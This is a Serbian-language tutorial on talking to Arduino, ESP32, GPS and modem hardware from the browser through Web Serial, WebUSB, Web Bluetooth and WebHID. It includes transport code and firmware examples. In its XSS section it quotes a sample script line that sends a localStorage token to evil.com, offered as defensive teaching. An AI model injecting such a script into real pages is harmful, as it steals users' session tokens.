Browser kao univerzalni servisni terminal - Arduino, ESP32, USB i Bluetooth direktno iz Chrome-a
Browser kao univerzalni servisni terminal - Arduino, ESP32, USB i Bluetooth direktno iz Chrome-a

Kategorija: Tutorijali | Težina: Srednja do napredna | Platforma: Desktop browseri uz feature detection; Android uz ograničenja po API-ju
Tema: Web Serial, WebUSB, Web Bluetooth, WebHID, Arduino, ESP32 i servisna dijagnostika | Autor: Zoran Knežević
Praktični alat: Dostupan odmah na /alati/hardware-terminal

Decenijama je povezivanje sa mikrokontrolerima i servisnim uređajima zahtevalo desktop aplikacije. Bilo da podešavate Arduino, analizirate telemetriju sa ESP32 čipa, čitate NMEA koordinate sa GPS modula ili šaljete AT komande industrijskom modemu, prvi korak je uvek bio isti: instalacija programa poput PuTTY, Tera Term, minicom ili Arduino IDE Serial Monitora.

Danas moderni web browseri bazirani na Chromium platformi poseduju skup moćnih hardverskih interfejsa: Web Serial, WebUSB, Web Bluetooth i WebHID.

Oni omogućavaju da otvorite običnu web stranicu, kliknete na dugme, izaberete fizički uređaj kroz sistemski bezbednosni dijalog i započnete dvosmernu komunikaciju direktno iz Javascript koda.

text
Fizički uređaj (Arduino / ESP32 / GPS / USB-UART)
       │
       ▼ (USB kabl / Bluetooth radio)
Operativni sistem (Drajveri: CH340 / CP210x / FTDI / BLE)
       │
       ▼
Chromium Browser (Chrome, Edge, Opera, Brave)
       │
       ▼ (Web Serial / WebUSB / Web Bluetooth / WebHID API)
Lokalna Web Aplikacija (Hardware Terminal)

Ovo nije koncept u oblaku gde uređaj šalje podatke serveru, pa server browseru. Komunikacija se odvija isključivo lokalno na vašem računaru ili telefonu. Podaci sa fizičkog uređaja ostaju u memoriji tab-a i ne napuštaju vaš računar.

Za potrebe ovog tutorijala razvili smo potpuno funkcionalan, otvoren i praktičan web alat: Hardware Terminal. U ovom vodiču prolazimo kroz kompletnu arhitekturu, bezbednosni model, firmware kod za ESP32 i Arduino, kao i sve tehničke nijanse i ograničenja koja morate poznavati pre nego što se upustite u web hardverski razvoj.


Tabela kompatibilnosti i podrška u browserima

Hardverski web API-ji spadaju u kategoriju Limited Availability mogućnosti. Nisu deo univerzalnog web standarda koji podjednako radi u svakom pregledaču.

FunkcijaAPITipičan hardverKorisnička dozvolaHTTPS zahtevPodrška browsera
Serijska vezaWeb Serial APIArduino, ESP32, USB-UART (CH340/FTDI/CP2102), GPS, 3D printeriDa (User Gesture)Da (ili localhost)Chrome 89+, Edge 89+, Opera, Firefox 151+ (Desktop), Chrome Android 138+ (Web Serial preko Bluetooth RFCOMM-a)
Nestandardni USBWebUSB APIProizvođački USB uređaji, razvojne pločice sa custom endpointimaDa (User Gesture)Da (ili localhost)Chrome 61+, Edge 79+, Opera, Chrome Android
Bluetooth LEWeb Bluetooth APIBLE senzori, pametne vage, fitness narukvice, Nordic UARTDa (User Gesture)Da (ili localhost)Chrome 56+, Edge 79+, Chrome Android (nije podržano na iOS Safariju)
HID uređajiWebHID APINamenski kontroleri, industrijski paneli, Stream Deck, pedaleDa (User Gesture)Da (ili localhost)Chrome 89+, Edge 89+, Opera (samo Desktop platforme)

⚠️ Važna činjenica o podršci (Firefox i Safari): Apple Safari na macOS i iOS platformama uopšte ne podržava Web Serial, WebUSB niti WebHID. Sa druge strane, Mozilla je od 19. maja 2026. u Firefoxu 151 omogućila Web Serial na desktop platformama, dok WebUSB i WebHID Firefox trenutno ne podržava. Prema tome, Web Serial danas radi i u Chromium browserima i u modernom Firefoxu na računaru, dok na iPhone/iPad uređajima hardverski web pristup ostaje blokiran.

Kako proveriti podršku u kodu (Feature Detection)

Nikada nemojte pretpostavljati da je API dostupan. Pre pozivanja bilo koje funkcije proverite postojanje odgovarajućeg interfejsa na objektu navigator:

javascript
const hardwareSupport = {
  serial: 'serial' in navigator,
  usb: 'usb' in navigator,
  bluetooth: 'bluetooth' in navigator,
  hid: 'hid' in navigator,
  isSecureContext: window.isSecureContext
};

if (!hardwareSupport.serial) {
  console.warn('Web Serial nije dostupan u ovom browseru. Preporučujemo Google Chrome ili Microsoft Edge.');
}

U našem alatu Hardware Terminal, svaki transport na vrhu ekrana jasno prikazuje statusnu značku da li vaš trenutni pregledač podržava izabrani protokol.


Bezbednosni model: Zašto web stranica ne može tiho da preuzme port

Jedna od najvećih zabluda jeste strah da bi bilo koji zlonamerni sajt u pozadini mogao da pošalje maliciozni firmware ili obriše mikrokontroler.

Chromium bezbednosni model implementira tri stroga nivoa zaštite:

Zahtev za eksplicitnom korisničkom akcijom (User Gesture / Transient Activation)

Funkcije poput navigator.serial.requestPort() ili navigator.usb.requestDevice() ne mogu biti pozvane u window.onload skripti ili u pozadinskom tajmeru. Browser će momentalno odbiti poziv i izbaciti SecurityError ukoliko poziv nije direktna posledica fizičkog klika korisnika na dugme ili pritiska na tastaturu.

Sistemski dijalog browsera (Browser Permission Dialog)

Kada korisnik klikne na dugme za povezivanje, browser preuzima kontrolu nad ekranom i prikazuje listu dostupnih fizičkih portova ili uređaja. Web stranica ne može da izabere uređaj umesto korisnika niti može da sakrije dijalog. Korisnik mora svesno kliknuti na željeni uređaj i potvrditi opciju "Connect".

text
┌────────────────────────────────────────────────────────┐
│ tutorijali.app wants to connect to a serial port      │
├────────────────────────────────────────────────────────┤
│ ● CP2102 USB to UART Bridge Controller (COM3)        │
│ ○ USB-SERIAL CH340 (COM5)                             │
│                                                        │
│ [Cancel]                                  [Connect]    │
└────────────────────────────────────────────────────────┘

Bezbedan kontekst (Secure Context / HTTPS)

Hardverski API-ji su strogo zaključani za bezbedno poreklo. Rade isključivo preko šifrovane HTTPS veze (kao što je https://tutorijali.app) ili na lokalnoj razvojnoj mašini (http://localhost i http://127.0.0.1). Pristup preko običnog HTTP protokola je sistemski onemogućen.


Zabluda o drajverima: Da li je browser čudotvoran?

Često se u marketinškim tekstovima može pročitati tvrdnja: "Povežite Arduino bez ikakvih drajvera direktno preko weba!"

Ova tvrdnja je tehnički netačna.

Browser je aplikacija na korisničkom nivou (User Space). On komunicira sa operativnim sistemom preko standardnih sistemskih API-ja.

text
Arduino / ESP32 pločica
          │ (USB kabl)
USB-UART čip na pločici (CH340 / CP2102 / FT232R)
          │
OPERATIVNI SISTEM (Windows / Linux / macOS)
          ▲
          │ POTREBAN OS DRAJVER
          ▼
Virtualni serijski port (COM3 u Windows-u, /dev/ttyUSB0 u Linux-u)
          ▲
          │ Web Serial API
Chromium Browser (Chrome / Edge)
  • Ako vaš Windows računar nema instaliran drajver za popularni kineski CH340 ili CP2102 čip, operativni sistem u Device Manager-u prikazaće žuti znak uzvika ("Unknown Device").
  • U tom slučaju, browser u svom dijalogu uopšte neće videti taj port.
  • Prema tome: Web Serial vas oslobađa instalacije posebnog desktop terminala (PuTTY, Arduino IDE), ali operativni sistem i dalje mora imati funkcionalan drajver za USB-to-UART konverter.

💡 Linux i prava pristupa: Na Linux distribucijama (Ubuntu, Debian, Fedora), serijski portovi pripadaju grupi dialout ili uucp. Ako se uređaj pojavi u listi, ali dobijete grešku pri otvaranju, vaš korisnički nalog mora biti dodat u tu grupu: sudo usermod -a -G dialout $USER, nakon čega je potrebno ponovno prijavljivanje na sistem.


Web Serial vs WebUSB vs Web Bluetooth vs WebHID

Jedno od najčešćih pitanja razvojnih inženjera jeste koji API upotrebiti za konkretan projekat. Ova tabela pruža preciznu odluku na osnovu arhitekture uređaja:

Ako vaš uređaj...Pravilan izborZašto?
Povezuje se preko USB kabla i stvara virtuelni COM port (ili /dev/ttyACM)Web Serial APIOperativni sistem već upravlja baferima i CDC drajverom; browser dobija jednostavan stream bajtova.
Koristi ESP32 ili Arduino za slanje telemetrije i prijem komandiWeb Serial APINajstabilniji, najlakši za implementaciju i podržava standardne baud brzine.
Koristi Bluetooth Low Energy (BLE) sa GATT servisima i karakteristikamaWeb Bluetooth APINamenjen za BLE GATT profile (npr. Nordic UART servis, pulsmetri, senzori).
Koristi klasični Bluetooth SPP (Serial Port Profile) preko RFCOMM na AndroiduWeb Serial APIChrome 138+ na Androidu omogućava Web Serial preko uparenih Bluetooth RFCOMM uređaja.
Predstavlja custom USB pločicu sa specifičnim vendor kontrolnim i bulk endpointimaWebUSB APIKoristi se kada uređaj ne pripada standardnoj klasi (nije serijski, nije tastatura, nije audio).
Predstavlja programabilni tastaturni kontroler, industrijski panel ili Stream DeckWebHID APIOmogućava slanje i prijem definisanih HID report paketa bez remećenja sistemske tastature.
Predstavlja standardnu web kameru, mikrofon ili gamepadStandardni Web APIKoristite navigator.mediaDevices.getUserMedia() ili navigator.getGamepads().

Arhitektura zajedničkog transportnog sloja

Kada pravite ozbiljnu aplikaciju, najveća greška je pisanje četiri odvojena terminala sa dupliranom logikom za crtanje, čuvanje logova i parsiranje komandi.

Pravilan inženjerski pristup jeste kreiranje zajedničke abstrakcije: HardwareTransport.

UI komponenta ne sme da zna da li bajt 0x41 ('A') dolazi sa fizičkog COM porta, Bluetooth LE notifikacije ili simuliranog generatora podataka. UI radi sa Uint8Array nizom i prosleđuje komande u istom formatu:

typescript
export interface HardwareDeviceInfo {
  name: string;
  transport: 'serial' | 'demo' | 'bluetooth' | 'usb' | 'hid';
  vendorId?: string;
  productId?: string;
  details?: string;
}

export interface HardwareTransport {
  readonly transportType: string;
  connect(): Promise<void>;
  disconnect(): Promise<void>;
  write(data: Uint8Array): Promise<void>;
  onData(callback: (data: Uint8Array) => void): void;
  onDisconnect(callback: () => void): void;
  getInfo(): HardwareDeviceInfo;
  isConnected(): boolean;
}

Ovakva arhitektura omogućava da u našem alatu Hardware Terminal jednim klikom prebacite vezu sa fizičkog USB porta na Bluetooth ili Demo simulator, dok sve funkcije (istorija komandi, HEX prikaz, eksport, grafikon) ostaju potpuno identične.


Web Serial u praksi: Implementacija od nule

Pogledajmo kako izgleda stvarna, robusna implementacija čitanja i pisanja na serijski port korišćenjem modernih JavaScript Stream-ova.

Povezivanje i konfiguracija porta

javascript
let port = null;
let reader = null;
let keepReading = false;

async function connectSerial(baudRate = 115200) {
  // 1. Zatraži dozvolu korisnika
  port = await navigator.serial.requestPort();

  // 2. Otvori port sa parametrima
  await port.open({
    baudRate: baudRate,
    dataBits: 8,
    stopBits: 1,
    parity: 'none',
    flowControl: 'none',
    bufferSize: 4096
  });

  keepReading = true;
  startReadLoop();
}

Petlja za čitanje stream-a (Read Loop) sa pravilnim zaključavanjem

Čitanje serijskih podataka u browseru vrši se preko ReadableStreamDefaultReader. Kada reader preuzme stream (getReader()), stream je zaključan za sve ostale potrošače sve dok se eksplicitno ne otpusti.

javascript
async function startReadLoop() {
  while (port && port.readable && keepReading) {
    try {
      reader = port.readable.getReader();

      while (keepReading) {
        const { value, done } = await reader.read();
        if (done) {
          // Uređaj je zatvorio stream ili je isključen
          break;
        }
        if (value) {
          // value je Uint8Array sirovih bajtova
          handleIncomingBytes(value);
        }
      }
    } catch (err) {
      console.warn('Greška u toku čitanja porta:', err);
      break;
    } finally {
      if (reader) {
        reader.releaseLock();
        reader = null;
      }
    }
  }

  // Ako smo izašli iz petlje, zatvori port
  await closePort();
}

Slanje komandi (WritableStream)

Prilikom slanja podataka na mikrokontroler, tekst se prvo mora enkodirati u bajtove pomoću TextEncoder, uz dodavanje željenog linijskog završetka (najčešće \n za ESP32 ili \r\n za Arduino):

javascript
async function sendCommand(commandText, lineEnding = '\n') {
  if (!port || !port.writable) {
    throw new Error('Port nije otvoren za upis.');
  }

  const encoder = new TextEncoder();
  const payload = encoder.encode(commandText + lineEnding);

  const writer = port.writable.getWriter();
  try {
    await writer.write(payload);
  } finally {
    writer.releaseLock();
  }
}

Pravilno prekidanje veze (Disconnect Cleanup)

Jedan od najčešćih bagova u web serijskim skriptama jeste nemogućnost ponovnog otvaranja porta nakon prekida veze. To se dešava ako program pokuša da pozove port.close() dok je reader ili writer zaključan.

Ispravan redosled raskida veze glasi:

javascript
async function closePort() {
  keepReading = false;

  if (reader) {
    try {
      await reader.cancel();
    } catch (e) {
      /* Ignoriši */
    }
    try {
      reader.releaseLock();
    } catch (e) {
      /* Ignoriši */
    }
    reader = null;
  }

  if (port) {
    try {
      await port.close();
    } catch (err) {
      console.warn('Greška pri zatvaranju porta:', err);
    }
    port = null;
  }
}

Glavni ESP32 Demo: Firmware sa telemetrijom i komandama

ESP32 je idealna razvojna platforma za demonstraciju browser komunikacije. Poseduje nativni serijski interfejs, ugrađeni senzor temperature čipa i dovoljno resursa za brzo procesiranje komandi.

Sledeći Arduino/C++ kod omogućava ESP32 modulu da komunicira sa našim web terminalom. Podržava komande:

  • STATUS - vraća stanje LED diode, uptime i temperaturu
  • LED ON i LED OFF - upravlja ugrađenom plavom LED diodom (GPIO 2)
  • UPTIME - vraća vreme rada u sekundama
  • Automatski šalje telemetrijsku liniju TEMP=... HUM=... RPM=... na svake 2 sekunde
cpp
/*
 * ESP32 Web Serial Servisni Firmware
 * Kompatibilan sa Hardware Terminal alatom na tutorijali.app
 */

#define LED_PIN 2

unsigned long lastTelemetryTime = 0;
String inputString = "";

void setup() {
  pinMode(LED_PIN, OUTPUT);
  digitalWrite(LED_PIN, LOW);

  // Pokretanje serijskog porta na 115200 baud
  Serial.begin(115200);
  while (!Serial) {
    ; // čekanje na povezivanje
  }

  Serial.println("ESP32-WROOM-32 Servisni Nod v1.0");
  Serial.println("READY");
}

void loop() {
  // 1. Čitanje komandi pristiglih iz web browsera
  while (Serial.available() > 0) {
    char inChar = (char)Serial.read();
    if (inChar == '\n' || inChar == '\r') {
      if (inputString.length() > 0) {
        processCommand(inputString);
        inputString = "";
      }
    } else {
      inputString += inChar;
    }
  }

  // 2. Slanje periodične telemetrije na svake 2 sekunde
  if (millis() - lastTelemetryTime >= 2000) {
    lastTelemetryTime = millis();

    // Čitanje interne temperature ESP32 čipa (ako je podržano)
    // ili simulacija preciznog analognog senzora
    float simulatedTemp = 24.2 + (sin(millis() / 5000.0) * 1.8);
    int simulatedHum = 48 + (int)(cos(millis() / 8000.0) * 5);
    int simulatedRpm = 1200 + (int)(sin(millis() / 3000.0) * 60);

    Serial.print("TEMP=");
    Serial.print(simulatedTemp, 1);
    Serial.print(" HUM=");
    Serial.print(simulatedHum);
    Serial.print(" RPM=");
    Serial.print(simulatedRpm);
    Serial.print(" UPTIME=");
    Serial.println(millis() / 1000);
  }
}

void processCommand(String cmd) {
  cmd.trim();
  cmd.toUpperCase();

  if (cmd == "STATUS") {
    Serial.print("OK STATUS LED=");
    Serial.print(digitalRead(LED_PIN) ? "ON" : "OFF");
    Serial.print(" UPTIME=");
    Serial.print(millis() / 1000);
    Serial.println("s");
  } else if (cmd == "LED ON" || cmd == "LED=1") {
    digitalWrite(LED_PIN, HIGH);
    Serial.println("OK LED=ON");
  } else if (cmd == "LED OFF" || cmd == "LED=0") {
    digitalWrite(LED_PIN, LOW);
    Serial.println("OK LED=OFF");
  } else if (cmd == "UPTIME") {
    Serial.print("UPTIME=");
    Serial.print(millis() / 1000);
    Serial.println("s");
  } else if (cmd == "RESET" || cmd == "REBOOT") {
    Serial.println("RESETTING DEVICE...");
    ESP.restart();
  } else {
    Serial.print("UNKNOWN COMMAND: ");
    Serial.println(cmd);
  }
}

Kada povežete ovakav ESP32 na računar i otvorite Hardware Terminal, terminal će automatski prepoznati parove TEMP=24.5 i početi da iscrtava grafikon temperature u realnom vremenu, a klikom na makro dugme "LED ON" dioda na vašem stolu će se momentalno upaliti.


Arduino primer: Jednostavni serijski kontroler

Ukoliko radite sa klasičnom Arduino Uno, Nano ili Mega pločicom, kod je jednako čist. Arduino najčešće koristi 9600 ili 115200 baud sa CRLF (\r\n) završetkom:

cpp
/*
 * Arduino Uno Web Terminal Kontroler
 */

const int ledPin = 13;
String command = "";

void setup() {
  pinMode(ledPin, OUTPUT);
  Serial.begin(115200);
  Serial.println("ARDUINO UNO READY");
}

void loop() {
  if (Serial.available() > 0) {
    char c = Serial.read();
    if (c == '\n' || c == '\r') {
      command.trim();
      if (command.length() > 0) {
        if (command.equalsIgnoreCase("LED ON")) {
          digitalWrite(ledPin, HIGH);
          Serial.println("OK LED=1");
        } else if (command.equalsIgnoreCase("LED OFF")) {
          digitalWrite(ledPin, LOW);
          Serial.println("OK LED=0");
        } else if (command.equalsIgnoreCase("READ")) {
          int val = analogRead(A0);
          Serial.print("ANALOG0=");
          Serial.println(val);
        } else {
          Serial.print("ECHO: ");
          Serial.println(command);
        }
        command = "";
      }
    } else {
      command += c;
    }
  }
}

Tekstualni vs HEX mod rada

Kod industrijske opreme, senzora i mernih instrumenata, komunikacija se retko odvija u čistom ASCII tekstu. Većina protokola koristi binarne pakete gde svaki bajt ima striktno značenje (zaglavlje, dužina, instrukcija, CRC kontrolna suma).

Uzmimo primer binarne komande za uključenje releja: 0xAA 0x01 0x00 0xFF 0x0D

Ako terminal pokušava da prikaže ove bajtove kao ASCII tekst:

  • Bajt 0xAA nije standardan ASCII karakter
  • Bajt 0x00 je NUL terminator koji u mnogim bibliotekama prekida ispis teksta
  • Bajt 0x0D je Carriage Return koji vraća kursor na početak linije i briše prethodne podatke

Zbog toga naš Hardware Terminal poseduje trenutan prelaz između TEXT i HEX prikaza:

text
TEXT PRIKAZ:
12:30:14.102 TX STATUS
12:30:14.131 RX READY

HEX PRIKAZ:
12:30:14.102 TX 53 54 41 54 55 53 0A
12:30:14.131 RX 52 45 41 44 59 0D 0A

Validacija HEX unosa pre slanja

Kada je terminal u HEX modu, korisnik može uneti komandu poput AA 01 FF. Aplikacija mora striktno validirati format pre slanja:

  1. Uklanja višak razmaka
  2. Proverava da li je ukupan broj heksadecimalnih karaktera paran (svaki bajt mora imati 2 cifre)
  3. Proverava da li se u unosu nalaze nedozvoljeni karakteri van opsega 0-9 i A-F
  4. Tek nakon uspešne validacije pretvara unos u Uint8Array i šalje ga uređaju

Ako unos nije validan (npr. neparan broj cifara ili slovo 'Z'), aplikacija prikazuje jasnu poruku o grešci i sprečava slanje korumpiranog paketa na fizički uređaj.


Bezbednost profila uređaja: Zašto eval() nije dozvoljen

Kako bi korisnik mogao lako da sačuva podešavanja za ESP32, Arduino ili GPS prijemnik, aplikacija podržava Profile uređaja.

Profil sadrži:

  • Naziv uređaja i opis
  • Izabrani transport (Serial, Bluetooth, USB, HID)
  • Baud brzinu, paritet, stop bitove i linijski završetak
  • Predefinisane tastere sa makroima
  • Konfiguraciju telemetrijskog parsera
json
{
  "id": "esp32-custom",
  "name": "ESP32 DevKit",
  "transport": "serial",
  "serial": {
    "baudRate": 115200,
    "dataBits": 8,
    "stopBits": 1,
    "parity": "none",
    "flowControl": "none",
    "lineEnding": "lf"
  },
  "macros": [
    { "id": "m1", "label": "STATUS", "command": "STATUS" },
    { "id": "m2", "label": "LED ON", "command": "LED ON" }
  ],
  "parser": {
    "type": "key-value",
    "delimiter": "=",
    "targetMetric": "TEMP"
  }
}

🔒 Zlatno pravilo bezbednosti: PROFIL JE PODATAK, A NE KOD.
Nikada nemojte dozvoliti da profil uređaja sadrži proizvoljan JavaScript kôd (npr. eval(profile.parserCode) ili new Function(...)). Ukoliko bi korisnik preuzeo profil sa nepouzdanog foruma ili GitHub repozitorijuma, zlonamerni skript bi mogao ukrasti lokalne kolačiće ili zloupotrebiti pristup hardveru. U našoj aplikaciji uvoz profila je striktno validiran kroz Zod šemu koja dozvoljava isključivo deklarativne podatke i ograničen skup fabričkih parser tipova.


XSS zaštita: Tretiranje hardverskog toka kao nepouzdanog unosa

Jedna od najopasnijih grešaka u razvoju web terminala jeste naivno renderovanje pristiglih serijskih podataka kroz innerHTML ili React-ov dangerouslySetInnerHTML.

Zamislite sledeći scenario: mikrokontroler povezujete na nepoznatu mašinu ili testirate serijski modem. Uređaj šalje sledeći tekstualni niz:

text
<script>fetch('https://evil.com/steal?data=' + localStorage.getItem('token'))</script>

Ako vaš terminal renderuje ovaj string kao HTML, skripta će se izvršiti u kontekstu vašeg domena.

U Hardware Terminalu, svaki primljeni bajt i svaki dekodirani string se renderuju isključivo kao obični tekstualni DOM nodovi (textContent u vanila JS-u ili standardni {log.text} u React-u). Čak i ako uređaj pošalje pun HTML/JS kod, on će biti prikazan kao bezbedan čitljiv tekst, bez ikakvog izvršavanja.


Ostale realne primene u praksi

Web Serial i srodni hardverski API-ji nisu rezervisani samo za hobi pločice. U realnom inženjerskom okruženju oni rešavaju čitav niz svakodnevnih servisnih zadataka:

GPS prijemnici i NMEA telemetrija

Većina USB i serijskih GPS prijemnika (u-blox, MediaTek) po uključenju automatski šalje ASCII rečenice na 9600 baud-a:

text
$GPGGA,123519,4448.123,N,02027.456,E,1,08,0.9,116.2,M,45.3,M,,*47
$GPRMC,123519,A,4448.123,N,02027.456,E,022.4,084.4,230326,003.1,W*6A

Web terminal omogućava trenutnu inspekciju prijema satelitskog signala, proveru broja vidljivih satelita i validaciju GPS koordinata na terenu direktno sa laptopa.

4G/LTE modemi i AT komande

Kada podešavate industrijski 4G ruter ili Quectel/SIMCom modem, povezivanjem na njegov USB servisni port možete odmah testirati signal i registraciju na mrežu:

  • AT -> očekivani odgovor: OK
  • ATI -> vraća model modema i verziju firmware-a
  • AT+CSQ -> jačina primljenog signala (RSSI)
  • AT+CPIN? -> status SIM kartice (READY ili zaključana PIN-om)

CNC mašine i 3D printeri (GRBL konzola)

GRBL kontroleri za laserske graverke i glodalice, kao i Marlin firmware na 3D printerima, komuniciraju preko serijskog porta na 115200 ili 250000 baud-a. Web terminal može poslužiti za slanje osnovnih G-code komandi:

  • $$ -> ispis svih konfiguracionih parametara
  • $H -> pokretanje postupka referenciranja (homing)
  • G28 -> povratak na nultu tačku

Koliko daleko ovo ide? ESP Web Tools i flešovanje firmware-a iz browsera

Mnogi inženjeri se iznenade kada saznaju da Web Serial ne služi samo za čitanje teksta. On omogućava prenos binarnog koda tolikom brzinom i pouzdanošću da je moguće kompletno flešovati novi firmware na mikrokontroler direktno iz Chrome-a.

Najbolji primer u svetu otvorenog koda jeste ESP Web Tools (zvanični projekat razvijen pod okriljem ESPHome i Home Assistant zajednice):

text
Korisnik u browseru (Chrome na računaru)
       │
       ▼ (Web Serial API na 460800 baud)
ROM Bootloader čipa (ESP32 / ESP8266)
       │
       ▼
Brisanje flash memorije i upis novog .bin firmware-a
       │
       ▼
Automatsko povezivanje na Wi-Fi (Improv Wi-Fi protokol preko serijske veze)

Preko ovog projekta, korisnik može kupiti pametnu utičnicu ili ESP32 senzor, otvoriti web stranicu proizvođača, kliknuti "Install" i browser će sam uvesti čip u bootloader mod, obrisati staru memoriju, upisati novi operativni sistem i ponuditi unos lozinke za kućni Wi-Fi.

To je definitivan dokaz zrelosti i pouzdanosti Web Serial tehnologije.


Šta browser NE MOŽE: Razumevanje realnih granica

Kako ne bismo stvarali nerealna očekivanja, neophodno je jasno definisati šta je van domašaja web pregledača:

  1. Browser ne zna protokol uređaja sam od sebe: Web Serial vam daje cevast kanal za prenos bajtova (transport). On ne zna da li bajtovi 0xAA 0x01 predstavljaju temperaturu, pritisak u bojleru ili komandu za motor. Protokol morate definisati vi kroz aplikativnu logiku ili profil uređaja.
  2. Nema zaobilaženja operativnog sistema: Ako operativni sistem ne vidi fizički uređaj, browser ga ne može pronaći.
  3. Nema pristupa bez korisničke dozvole: Sajt nikada ne može u tišini da skenira vaše USB portove dok surfujete internetom.
  4. Nema podrške na iOS platformi: Zbog Apple-ovih restrikcija prema WebKit endžinu, ni Chrome ni Safari na iPhone/iPad uređajima ne mogu komunicirati preko USB serijskih adaptera niti Web Bluetooth-a.

Često postavljana pitanja (FAQ)

Da li Web Serial zahteva instalaciju posebnog programa?

Ne. Web Serial danas podržavaju moderni Chromium browseri, a od Firefox 151 i Firefox na desktop platformama. Ostali hardverski API-ji imaju drugačiju matricu podrške. Nije potrebna instalacija desktop programa poput PuTTY ili Arduino IDE-a.

Da li su potrebni USB drajveri?

Da. Operativni sistem računara mora prepoznati USB-UART čip na vašoj pločici (npr. CH340, CP2102, FTDI). Web Serial koristi virtualni COM port koji obezbeđuje operativni sistem.

Da li mogu koristiti Hardware Terminal na Android telefonu?

Da, ali uz važnu napomenu: Chrome 138 na Androidu uveo je podršku za Web Serial preko Bluetooth RFCOMM veze. Podrška za direktne USB OTG serijske adaptere na mobilnom Chrome-u zavisi od konkretne verzije i platforme. Međutim, naš Demo Simulator radi na svakom telefonu i omogućava testiranje svih funkcija terminala.

Da li podaci sa mog mikrokontrolera odlaze na internet?

U našoj implementaciji na tutorijali.app - apsolutno ne. Sve kalkulacije, baferovanje logova, iscrtavanje grafikona i izvoz u TXT/CSV/JSON fajlove izvršavaju se 100% lokalno u memoriji vašeg web pregledača.

Da li mogu sačuvati primljene logove za analizu?

Da. Hardware Terminal omogućava trenutan lokalni izvoz zapisa u tri standardna formata: čisti tekstualni fajl (.TXT), tabelarni format za Excel (.CSV) ili strukturirani JSON (.JSON). Fajlovi se generišu preko lokalnog Blob objekta bez učešća servera.


Zvanični izvori i tehnička dokumentacija